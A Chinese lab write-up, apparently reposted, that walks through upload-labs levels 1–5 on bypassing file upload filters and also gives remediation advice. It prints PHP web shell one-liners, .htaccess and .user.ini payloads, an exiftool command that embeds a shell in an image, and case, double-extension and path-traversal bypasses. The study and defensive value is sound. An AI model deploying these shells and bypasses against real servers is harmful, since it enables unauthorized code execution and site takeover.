upload-labs PASS 1-5通關

PASS-01 前端javascript檢查

1,第一個提示javascript對上傳的文件進行審查

2,javascript工作在前端頁面,可以直接刪除具有審查功能的代碼

3,刪除之后再上傳一句話木馬

上傳成功,可以使用蟻劍進行連接,控制網站

第一關的防御機制在前端(客戶端),操作是javascript過濾:function checkFile(),定義了一個檢查文件后綴名的函數,只允許圖片類型文件上傳

PASS-02 MIME繞過

1,第二關提示本pass在服務端對數據包的MIME進行檢查。

?檢查 MIME 類型通常涉及以下幾個步驟:

1. 獲取請求的 MIME 類型

在接收到客戶端發送的數據包后,服務端可以通過 HTTP 請求頭中的 Content-Type 字段來獲取請求的 MIME 類型。這個字段通常會告訴服務器,數據包的格式(如 JSON、XML、圖片等)。

例如,對于一個 POST 請求,Content-Type 可能是這樣的:

  • application/json
  • application/xml
  • multipart/form-data(通常用于上傳文件)
  • image/jpeg

2. 驗證 MIME 類型

服務端需要驗證這個 MIME 類型是否符合預期,防止惡意用戶偽造數據包類型。一般來說,有以下幾種方式來驗證 MIME 類型:

a. 通過 HTTP 頭檢查

檢查 HTTP 請求頭中的 Content-Type 是否符合預期類型。如果客戶端發送的類型不匹配,可以返回 400 或 415 錯誤響應。

例如:

if request.headers.get('Content-Type') != 'application/json':
??? return 'Invalid Content-Type', 415

b. 文件擴展名檢查

對于上傳文件的情況,服務端可能會根據文件的擴展名來進一步驗證 MIME 類型,例如確認上傳的文件確實是 .jpg 擴展名的圖片,且 MIME 類型為 image/jpeg。

3. 解析數據并驗證格式

僅僅驗證 MIME 類型可能不足夠,還需要根據數據的格式進一步進行驗證。例如:

  • JSON 驗證:如果 Content-Type 是 application/json,服務端需要檢查接收到的內容是否為有效的 JSON 格式。
    • 如果 JSON 格式不合法,可以返回 400 錯誤。
  • 圖片文件驗證:如果是圖片,服務端可以使用文件頭(Magic Bytes)來驗證文件的實際格式,而不僅僅依賴于 MIME 類型。
    • 比如:對于 JPEG 文件,文件的前兩個字節通常是 0xFF, 0xD8,如果 MIME 類型是 image/jpeg,但文件頭不匹配,可以認為是偽造的文件。

4. 防止 MIME 類型欺騙

由于客戶端可以偽造 Content-Type 頭,單靠頭部信息并不安全。服務器可以采取以下措施進一步保護:

  • 檢查數據的 Magic Bytes:特別是在處理文件上傳時,讀取數據的前幾個字節來判斷文件類型,而不僅僅依賴 Content-Type。
  • 多重驗證:對于某些特定格式的數據(如圖片、音頻等),可以通過第三方庫或算法進一步驗證數據的結構和內容。

類型

描述

典型示例

text

表明文件是普通文本,理論上是人類可讀

text/plain, text/html, text/css, text/javascript

image

表明是某種圖像。不包括視頻,但動態圖(如動態GIF)也使用image類型

image/gif, image/png, image/jpeg, image/bmp, image/webp, image/x-icon, image/vnd.microsoft.icon

audio

表明是某種音頻文件

audio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav

video

表明是某種視頻文件

video/webm, video/ogg

application

表明是某種二進制數據

application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml, application/pdf

2,那么思路就是burp suite抓包,然后對content-type進行修改。掛上代理,然后抓包,右鍵發送到repeater模塊,然后修改為image/png

上傳成功

PASS-03 上傳特殊可解析后綴

1,本關禁止上傳.asp|.aspx|.php|.jsp后綴文件,嘗試burpsuite抓包該后綴名進行繞過

結果還是發生報錯

查看源碼這是因為后端對文件后綴名進行了審查過濾

2,在某些特定環境中某些特殊后綴仍會被當作php文件解析 php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml。

這里用.ptml試一下,直接上傳一個名為1.phtml的文件,可以發現直接上傳成功

成功上傳

PASS-04 利用?.htaccess?繞過

代碼審計分析

1. 黑名單過濾機制缺陷

$deny_ext = array(".php",".php5",...,".phtml",...); // 黑名單列表
$file_ext = strrchr($file_name, '.'); // 提取擴展名

  • 繞過風險
  • 末尾點繞過:若文件名形如?shell.phtml.strrchr?提取的擴展名為?.phtml.,不在黑名單中,可能繞過檢測。部分服務器(如Apache)會忽略末尾點,仍按?.phtml?解析。
  • 未覆蓋新擴展名:如?.php7.phar?等未在黑名單中,可能被利用。
  • .htaccess?攻擊:黑名單未包含?.htaccess,攻擊者可上傳此文件修改解析規則(如?AddType application/x-httpd-php .abc),后續上傳?.abc?的Webshell。

2. 文件名處理邏輯問題

  • deldot?函數未明確定義:若僅刪除末尾單個點,多重點(如?shell.php..)可能殘留末尾點,導致擴展名誤判。
  • 路徑遍歷風險:未過濾?../?等字符,攻擊者可能通過?../../shell.phtml?將文件上傳到非預期目錄。

3. 服務器解析漏洞依賴

  • 即使繞過黑名單,仍需依賴服務器配置漏洞(如解析?shell.php.jpg?為 PHP),但代碼本身未對內容做驗證。


攻擊場景示例

1. 利用?.htaccess?繞過

  1. 上傳?.htaccess?文件,內容為:
    AddType application/x-httpd-php .phtml .
    jpg

  1. 上傳 WebShell 文件?shell.jpg,內容為:
    <?php @eval($_POST['cmd']); ?>

  1. 蟻劍通過?http://3b04a012-9abc-46c1-b9fa-0cb64af9074d.node5.buuoj.cn:81/upload/shell.jpg 連接

PASS-05 黑名單驗證,.user.ini.

代碼審計分析

1. 大小寫繞過漏洞(高危)

漏洞原理

黑名單雖包含部分大小寫變種(如?.pHp),但未覆蓋?全大寫擴展名(如?.PHP.PHP5)。由于代碼未統一轉換為小寫進行校驗,攻擊者可構造特定擴展名繞過檢測。

利用方式

  • 上傳文件名為?shell.PHP,擴展名?.PHP?不在黑名單中(黑名單僅含?.pHp)。
  • 在 Windows/Linux 服務器上均可能繞過檢測并執行。

修復建議

$file_ext = strtolower($file_ext); // 統一轉換為小寫后再檢查黑名單?

?

2. 特殊擴展名繞過(高危)

漏洞原理

黑名單未覆蓋以下危險擴展名:

  • .phar:PHP 歸檔文件,可直接執行代碼。
  • .phtml?重復處理缺陷:雖然黑名單包含?.phtml,但若攻擊者構造?.PHTML(全大寫)仍可繞過。
  • .inc:部分服務器配置會解析為 PHP。

利用方式

  1. 上傳文件?shell.phar,繞過黑名單檢測。
  2. 通過 URL 直接訪問上傳的?.phar?文件觸發代碼執行。

?

3. 路徑遍歷攻擊(中危)

漏洞原理

代碼未對文件名中的路徑字符(如?../)進行過濾,攻擊者可構造文件名將文件上傳到非預期目錄。

利用方式

  • 上傳文件名設為?../../shell.php,若服務器處理不當,文件可能被保存到 Web 根目錄外的敏感路徑(如?/var/www/html?的上級目錄)。
  • 配合其他漏洞(如本地文件包含)觸發執行。

修復建議

$file_name = str_replace(['../', './'], '', $file_name); // 過濾路徑遍歷字符?

?

4. 雙擴展名解析漏洞(高危)

漏洞原理

若服務器配置錯誤(如 Apache 的?mod_mime?解析缺陷),可能將?shell.php.jpg?識別為 PHP 文件。代碼僅檢查最后一個擴展名(.jpg),導致繞過。

利用方式

  1. 上傳文件名為?shell.php.jpg,擴展名檢測為?.jpg,繞過黑名單。
  2. 通過服務器解析漏洞(如?AddHandler application/x-httpd-php .jpg)觸發 PHP 代碼執行。

?

5. .htaccess 攻擊(高危)

漏洞原理

雖然黑名單包含?.htaccess,但代碼未徹底處理大小寫(如?.Htaccess)。若攻擊者上傳惡意?.htaccess?文件,可控制服務器解析規則。

利用方式

  1. 上傳文件名為?.Htaccess,內容為:
    AddType application/x-httpd-php .abc?
  2. 上傳 WebShell 文件?shell.abc,內容為 PHP 代碼。
  3. 訪問?shell.abc?觸發代碼執行。

?

6. 文件內容未校驗(中危)

漏洞原理

代碼僅校驗擴展名,未檢查文件內容。攻擊者可上傳圖片馬(如?shell.jpg?內含 PHP 代碼),配合服務器解析漏洞或文件包含漏洞執行代碼。

利用方式

  1. 生成圖片馬:
    exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg?
  2. 上傳?shell.jpg,通過文件包含漏洞執行:
    http://target.com/include.php?file=uploads/202310011200001234.jpg&cmd=id

?

漏洞利用綜合示例

場景:利用大小寫繞過 + 雙擴展名攻擊

  1. 上傳文件名為?shell.PHP.jpg,擴展名檢測為?.jpg,繞過黑名單。
  2. 服務器配置錯誤(如 Apache 解析?php?優先級高于?jpg),將文件解析為 PHP。
  3. 通過 URL 訪問上傳文件執行代碼:

http://target.com/uploads/202310011200001234.PHP.jpg?

?

.user.ini?文件詳解

1. 基本概念

  • 定義.user.ini?是 PHP 的本地配置文件,用于覆蓋?php.ini?中的配置項。
  • 作用范圍:僅對?當前目錄及其子目錄?生效(需 PHP 運行在 FastCGI 模式)。
  • 優先級php.ini?<?.htaccess?(Apache) <?.user.ini

2. 核心用途

通過以下指令控制 PHP 行為:

  1. auto_prepend_file
  • 在所有 PHP 文件執行前自動包含指定文件。
  • 示例:auto_prepend_file = "header.php"
  1. auto_append_file
  • 在所有 PHP 文件執行后自動包含指定文件。
  • 示例:auto_append_file = "footer.php"
  1. 其他常用指令
  • max_execution_time(腳本最大執行時間)
  • memory_limit(內存限制)
  • upload_max_filesize(文件上傳大小限制)

3. 攻擊利用場景

漏洞原理

攻擊者可上傳惡意?.user.ini?文件,結合其他文件(如圖片馬)實現代碼執行。

攻擊步驟示例

  1. 上傳?.user.ini
    auto_prepend_file = "shell.jpg"? ; 自動包含圖片馬
  2. 上傳圖片馬?shell.jpg
    <?php @eval($_POST['cmd']);?>?
  3. 觸發執行

訪問該目錄下的任意 PHP 文件(如?index.php),會先加載?shell.jpg?中的代碼。

4. 防御措施

  1. 禁止上傳?.user.ini
    $deny_ext = array_merge($deny_ext, ['.user.ini']);?
  2. 限制目錄權限
  • 設置上傳目錄的 PHP 文件不可執行(Nginx 示例):
    location /uploads/ {?
    ???
    deny all;?
    }?
  1. 服務器配置加固
  • 在?php.ini?中禁用危險指令:
    user_ini.filename = ""????????? ; 禁用 .user.ini?
    allow_url_include = Off???????? ; 禁止遠程文件包含?
    open_basedir = /var/www/html??? ; 限制 PHP 文件訪問范圍?
  1. 定期掃描
  • 監控服務器目錄中異常?.user.ini?文件

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/80986.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/80986.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/80986.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

GoogleTest:在Ubuntu22.04安裝

1.首先克隆GoogleTest $ mkdir gtest $ cd gtest $ git clone git@github.com:google/googletest.git 克隆后的文件目錄結構為 gtest/googletest$ tree -L 1 ├── build ├── BUILD.bazel ├── ci ├── CMakeLists.txt ├── CONTRIBUTING.md ├── CONTRIBUTORS ├─…

Transformer-LSTM-SVM回歸

題目&#xff1a;Transformer-LSTM-SVM回歸 文章目錄 題目&#xff1a;Transformer-LSTM-SVM回歸前言一&#xff1a;Transformer1. Transformer的原理1.1 Transformer的核心結構1.2 注意力機制1.4 位置編碼1.5 損失函數 2. 完整案例 LSTMSVM 前言一&#xff1a;Transformer 1.…

AI正當時,國內AI HR領先廠商易路如何從“單點突破”到“全面融合”

所謂AI HR?&#xff0c;是指將人工智能&#xff08;AI&#xff09;技術&#xff08;如機器學習、自然語言處理、大數據分析等&#xff09;應用于人力資源管理的各個環節&#xff0c;以提升效率、優化決策并改善員工體驗。典型場景有&#xff1a; 在招聘、考勤、薪酬計算等重復…

淺析localhost、127.0.0.1 和 0.0.0.0的區別

文章目錄 三者的解釋三者的核心區別總結使用場景示例什么是回環地址常見問題開發工具中的地址使用為什么開發工具同時支持localhost和127.0.0.1&#xff1f;實際應用示例VSCode中的Live Server插件VSCode中的VUE項目IDEA中的Spring Boot應用 最佳實踐建議 localhost、 127.0.0…

微信小程序鮮花銷售系統設計與實現

概述 在鮮花電商行業快速發展的背景下&#xff0c;移動端銷售平臺成為花店拓展業務的重要渠道。幽絡源平臺今日分享一款功能完善的微信小程序鮮花銷售系統&#xff0c;該系統實現了多角色管理、在線訂購、會員服務等核心功能&#xff0c;為鮮花行業提供了完整的電商解決方案。…

端到端電力電子建模、仿真與控制及AI推理

在當今世界&#xff0c;電力電子不再僅僅是一個專業的利基領域——它幾乎是每一項重大技術變革的支柱。從可再生能源到電動汽車&#xff0c;從工業自動化到航空航天&#xff0c;對電力轉換領域創新的需求正以前所未有的速度增長。而這項創新的核心在于一項關鍵技能&#xff1a;…

Elastic Cloud Serverless 現在在 Google Cloud 上正式發布

作者&#xff1a;來自 Elastic Yuvraj Gupta Elastic Cloud Serverless 提供了啟動和擴展安全、可觀察性和搜索解決方案的最快方式 — 無需管理基礎設施。 今天&#xff0c;我們很高興宣布 Elastic Cloud Serverless 在 Google Cloud 上正式發布 — 現在已在愛荷華&#xff08;…

deepseek_ai_ida_plugin開源插件,用于使用 DeepSeekAI 將函數反編譯并重命名為人類可讀的視圖。該插件僅在 ida9 上進行了測試

一、軟件介紹 文末提供程序和源碼下載 deepseek_ai_ida_plugin開源插件&#xff0c;用于使用 DeepSeekAI 將函數反編譯并重命名為人類可讀的視圖。該插件僅在 ida9 上進行了測試。FunctionRenamerDeepseekAI.cpp 此文件包含 Hex-Rays 反編譯器的主要插件實現。它反編譯當前函數…

信息系統項目管理工程師備考計算類真題講解十一

一、運籌學 1&#xff09;線性規劃 分析&#xff1a;設為獲得最大利潤&#xff0c;S應生產X件&#xff0c;K生產Y件 10X20Y<120 8X8Y<80 求MAX(12X16Y) 計算下面的方程式&#xff1a; 10X20Y120 8X8Y80 X8 2)交通運輸問題&#xff1a; 分析&#xff1a; 此題采…

深入學習解讀:《數據安全技術 數據分類分級規則》【附全文閱讀】

該文詳細闡述了數據安全技術的數據分類分級規則,內容分為基本原則、數據分類規則、數據分級規則及數據分類分級流程四大部分。 基本原則強調科學實用、動態更新、就高從嚴及53原則(雖表述不清,但可理解為多重原則的結合),同時要求邊界清晰、點面結合。 數據分類規…

連接私有數據與大語言模型的強大框架----LlamaIndex詳細介紹與案例應用

什么是LlamaIndex&#xff1f; LlamaIndex&#xff08;原GPT Index&#xff09;是一個先進的數據框架&#xff0c;用于將自定義數據源與大語言模型&#xff08;LLM&#xff09;連接起來。它提供了高效的工具來索引、檢索和將私有或特定領域的數據集成到LLM應用中&#xff0c;解…

GBDT算法原理及Python實現

一、概述 GBDT&#xff08;Gradient Boosting Decision Tree&#xff0c;梯度提升決策樹&#xff09;是集成學習中提升&#xff08;Boosting&#xff09;方法的典型代表。它以決策樹&#xff08;通常是 CART 樹&#xff0c;即分類回歸樹&#xff09;作為弱學習器&#xff0c;通…

WordPress開心導航站_一站式網址_資源與資訊垂直行業主題模板

一款集網址、資源與資訊于一體的導航類主題&#xff0c;專為追求高效、便捷用戶體驗的垂直行業網站而設計無論您是構建行業資訊門戶、資源聚合平臺還是個人興趣導航站&#xff0c;這款開心版導航主題都能成為您理想的選擇。 核心特色: 一體化解決方案:整合了網址導航、資源下載…

馬井堂-區塊鏈技術:架構創新、產業變革與治理挑戰(馬井堂)

區塊鏈技術&#xff1a;架構創新、產業變革與治理挑戰 摘要 區塊鏈技術作為分布式賬本技術的革命性突破&#xff0c;正在重構數字時代的信任機制。本文系統梳理區塊鏈技術的核心技術架構&#xff0c;分析其在金融、供應鏈、政務等領域的實踐應用&#xff0c;探討共識算法優化、…

從像素到駕駛決策:Python與OpenCV賦能自動駕駛圖像識別

從像素到駕駛決策:Python與OpenCV賦能自動駕駛圖像識別 引言:圖像識別的力量驅動自動駕駛 自動駕駛技術正以令人驚嘆的速度改變交通方式,而其中最核心的技術之一便是圖像識別。作為車輛的“視覺系統”,圖像識別可以實時獲取道路信息,識別交通標志、車輛、行人等關鍵目標…

Spring計時器StopWatch 統計各個方法執行時間和占比

Spring計時器StopWatch 用法代碼 返回結果是毫秒 一毫秒等于千分之一秒&#xff08;0.001秒&#xff09;。因此&#xff0c;如果你有一個以毫秒為單位的時間值&#xff0c;你可以通過將這個值除以1000來將其轉換為秒。例如&#xff0c;500毫秒等于0.5秒。 import org.springf…

2.2.2goweb內置的 HTTP 處理程序2

http.StripPrefix http.StripPrefix 是 Go 語言 net/http 包中的一個函數&#xff0c;它的主要作用是創建一個新的 HTTP 處理程序。這個新處理程序會在處理請求之前&#xff0c;從請求的 URL 路徑中移除指定的前綴&#xff0c;然后將處理工作委托給另一個提供的處理程序。 使…

【Fifty Project - D20】

今日完成記錄 TimePlan完成情況7&#xff1a;30 - 11&#xff1a;30收拾行李閃現廣州 & 《挪威的森林》√10&#xff1a;00 - 11&#xff1a;00Leetcode√16&#xff1a;00 - 17&#xff1a;00健身√ Leetcode 每日一題 每日一題來到了滑動窗口系列&#xff0c;今天是越…

【圖片識別改名】批量讀取圖片區域文字識別后批量改名,基于Python和騰訊云的實現方案

項目場景 ??辦公文檔管理??&#xff1a;將掃描的發票、合同等文檔按編號、日期自動重命名。例如&#xff0c;識別“編號:2023001 日期:20230403”生成“2023001_20230403.jpg”。??產品圖片整理??&#xff1a;電商產品圖片按產品編號、名稱自動命名。例如&#xff0c;…

生物化學筆記:神經生物學概論04 視覺通路簡介視網膜視網膜神經細胞大小神經節細胞(視錯覺)

視覺通路簡介 神經節細胞的胞體構成一明確的解剖層次&#xff0c;其外鄰神經纖維層&#xff0c;內接內叢狀層&#xff0c;該層在鼻側厚約10&#xff5e;20μm&#xff0c;最厚在黃斑區約60&#xff5e;80μm。 全部細胞數約為120萬個(1000000左右)。 每個細胞有一軸突&#xff…